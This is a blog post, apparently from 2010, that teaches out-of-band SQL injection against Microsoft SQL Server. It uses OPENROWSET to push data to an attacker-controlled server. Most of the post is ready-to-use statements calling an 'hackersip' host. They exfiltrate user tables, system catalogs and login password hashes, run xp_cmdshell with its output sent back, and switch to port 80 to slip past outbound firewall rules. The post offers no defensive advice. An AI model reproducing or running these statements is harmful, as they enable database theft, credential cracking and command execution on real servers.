Labels

Tuesday, June 15, 2010

RETRIEVING RESULTS FROM SQL INJECTION:

The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data
into SQL Server to be manipulated. They can however also be used to push data to a remote
SQL Server. OPENROWSET can be used to not only execute SELECT statements, but also to
execute UPDATE, INSERT, and DELETE statements on external data sources. Performing data
manipulation on remote data sources is less common and only works if the OLEDB provider
supports this functionality. The SQLOLEDB provider support all these statements.

Below is an example of pushing data to an external data source:

insert into
            OPENROWSET('SQLoledb',
            'server=servername;uid=sa;pwd=h8ck3r',
            'select * from table1')
 select * from table2


In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the
remote data source. In order for the statement to execute properly the two tables must have the
same structure.
As we learned in the previous section, remote datasources can be redirected to any server of the
attacker’s choice. An attacker could change the statement above to connect to a remote
datasource such as a copy of Microsoft SQL Server running on the attacker’s machine.



insert into
           OPENROWSET('SQLoledb',
           'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
           'select * from table1')
select * from table2


In order to insert into table1 properly, the attacker must create table1 with the same columns and
data types as table2. This information can be determined by performing this attack against
system tables first. This works because the structure of system tables are well-known. An
attacker would start by creating a table with similar column names and data types as the system
tables sysdatabases, sysobjects and syscolumns. Then to retrieve the necessary information, the
following statements would be executed:

insert into
          OPENROWSET('SQLoledb',
          'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
         'select * from _sysdatabases')
select * from master.dbo.sysdatabases
 

insert into
             OPENROWSET('SQLoledb',
             'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
             'select * from _sysobjects')
select * from user_database.dbo.sysobjects
 

insert into
             OPENROWSET('SQLoledb',
             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
             'select * from _syscolumns')
select * from user_database.dbo.syscolumns


After recreating the tables in the database, loading the remaining data from the SQL Server is
trivial.

insert into
           OPENROWSET('SQLoledb',
           'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
           'select * from table1')
select * from database..table1


insert into
           OPENROWSET('SQLoledb',
           'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
           'select * from table2')
select * from database..table2


Using this method, an attacker can retrieve the contents of a table even if the application is
designed to conceal error messages or invalid query results.

Given the appropriate privileges, the attacker could load the list of logins and password hashes
as well:

insert into
          OPENROWSET('SQLoledb',
          'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
          'select * from _sysxlogins')
select * from database.dbo.sysxlogins


Acquiring the password hashes would allow the attacks to perform a brute-force on the
passwords.

The attacker can also execute commands on the attacked server and get the results :

insert into
            OPENROWSET('SQLoledb',
            'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
            'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'

If the firewall is configured to block all outbound SQL Server connections, the attacker can use
one of several techniques to circumvent the firewall. The attacker could set the address to push
data on using port 80 therefore appearing to be an HTTP connection. Below is an example of this
technique.

insert into
         OPENROWSET('SQLoledb',
         'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
         'select * from table1')
select * from table1


If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents
port numbers until an unblocked one was found.

No comments:

Post a Comment